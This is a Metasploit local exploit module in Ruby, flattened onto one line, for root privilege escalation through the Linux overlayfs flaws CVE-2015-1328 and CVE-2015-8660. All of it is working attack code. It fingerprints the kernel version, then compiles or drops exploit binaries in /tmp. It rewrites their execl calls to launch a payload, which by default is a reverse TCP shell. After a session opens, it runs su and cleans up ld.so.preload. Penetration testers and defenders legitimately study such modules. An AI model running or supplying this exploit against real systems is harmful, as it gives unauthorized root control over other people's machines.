## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Overlayfs Privilege Escalation', 'Description' => %q{ This module attempts to exploit two different CVEs related to overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18 (15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 < 3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8 (vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable, un-tested) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', # Module 'rebel' # Discovery ], 'DisclosureDate' => 'Jun 16 2015', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'CVE-2015-1328', { } ], [ 'CVE-2015-8660', { } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su }, 'References' => [ [ 'EDB', '39166'], # CVE-2015-8660 [ 'EDB', '37292'], # CVE-2015-1328 [ 'CVE', '2015-1328'], [ 'CVE', '2015-8660'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def mounts_exist?() vprint_status('Checking if mount points exist') if target.name == 'CVE-2015-1328' if not directory?('/tmp/ns_sploit') vprint_good('/tmp/ns_sploit not created') return true else print_error('/tmp/ns_sploit directory exists. Please delete.') return false end elsif target.name == 'CVE-2015-8660' if not directory?('/tmp/haxhax') vprint_good('/tmp/haxhax not created') return true else print_error('/tmp/haxhax directory exists. Please delete.') return false end end end def kernel_vuln?() os_id = cmd_exec('grep ^ID= /etc/os-release') case os_id when 'ID=ubuntu' kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) case kernel.release.to_s when '3.13.0' if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '3.16.0' if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '3.19.0' if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") return true elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end when '4.2.0' if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") return true else print_error("Kernel #{kernel} is NOT vulnerable") return false end else print_error("Non-vuln kernel #{kernel}") return false end when 'ID=fedora' kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') # => "4.0.4-301" if kernel.release < Gem::Version.new('4.2.8') vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") return true else print_error("Non-vuln kernel #{kernel}") return false end else print_error("Unknown OS: #{os_id}") return false end end if mounts_exist?() && kernel_vuln?() return CheckCode::Appears else return CheckCode::Safe end end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end filename = rand_text_alphanumeric(8) executable_path = "#{datastore['WritableDir']}/#{filename}" payloadname = rand_text_alphanumeric(8) payload_path = "#{datastore['WritableDir']}/#{payloadname}" def has_prereqs?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def upload_and_chmod(fname, fcontent, cleanup=true) print_status "Writing to #{fname} (#{fcontent.size} bytes)" rm_f fname write_file(fname, fcontent) cmd_exec("chmod +x #{fname}") if cleanup register_file_for_cleanup(fname) end end def on_new_session(session) super if target.name == 'CVE-2015-1328' session.shell_command("/bin/su") #this doesnt work on meterpreter????? # we cleanup here instead of earlier since we needed the /bin/su in our new session session.shell_command('rm -f /etc/ld.so.preload') session.shell_command('rm -f /tmp/ofs-lib.so') end end if compile begin if target.name == 'CVE-2015-1328' # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') fd = ::File.open( path, "rb") cve_2015_1328 = fd.read(fd.stat.size) fd.close # pulled out from 1328.c's LIB define path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') fd = ::File.open( path, "rb") ofs_lib = fd.read(fd.stat.size) fd.close else # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') fd = ::File.open( path, "rb") cve_2015_8660 = fd.read(fd.stat.size) fd.close end rescue compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries end end if compile if target.name == 'CVE-2015-1328' cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") upload_and_chmod("#{executable_path}.c", cve_2015_1328) ofs_path = "#{datastore['WritableDir']}/ofs-lib" upload_and_chmod("#{ofs_path}.c", ofs_lib) cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file register_file_for_cleanup("#{ofs_path}.c") else cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, "os.execl('#{payload_path}','#{payloadname}')") upload_and_chmod("#{executable_path}.c", cve_2015_8660) end vprint_status("Compiling #{executable_path}.c") cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile register_file_for_cleanup(executable_path) else if target.name == 'CVE-2015-1328' path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') fd = ::File.open( path, "rb") cve_2015_1328 = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, cve_2015_1328) path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') fd = ::File.open( path, "rb") ofs_lib = fd.read(fd.stat.size) fd.close ofs_path = "#{datastore['WritableDir']}/ofs-lib" # dont auto cleanup or else it happens too quickly and we never escalate ourprivs upload_and_chmod("#{ofs_path}.so", ofs_lib, false) # overwrite with the hardcoded variable names in the compiled versions payload_filename = 'lXqzVpYN' payload_path = '/tmp/lXqzVpYN' else path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') fd = ::File.open( path, "rb") cve_2015_8660 = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, cve_2015_8660) # overwrite with the hardcoded variable names in the compiled versions payload_filename = '1H0qLaq2' payload_path = '/tmp/1H0qLaq2' end end upload_and_chmod(payload_path, generate_payload_exe) vprint_status('Exploiting...') output = cmd_exec(executable_path) output.each_line { |line| vprint_status(line.chomp) } end end